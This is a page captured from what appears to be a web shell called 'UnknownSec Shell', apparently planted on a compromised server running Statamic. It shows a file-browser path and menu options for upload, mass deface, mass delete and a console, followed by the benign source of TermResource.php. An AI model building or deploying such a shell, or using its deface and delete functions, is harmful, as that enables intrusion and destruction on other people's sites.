shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Http
/
Resources
/
API
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
TermResource.php
<?php namespace Statamic\Http\Resources\API; use Illuminate\Http\Resources\Json\JsonResource; class TermResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request * @return array */ public function toArray($request) { $fields = collect($this->resource->selectedQueryColumns() ?? $this->resource->augmented()->keys()); // Don't want these variables in API requests. $fields = $fields->reject(fn ($field) => in_array($field, ['entries', 'collection'])); $with = $this->blueprint() ->fields()->all() ->filter->isRelationship()->keys()->all(); return $this->resource ->toAugmentedCollection($fields->all()) ->withRelations($with) ->withShallowNesting() ->toArray(); } }
© 2026 UnknownSec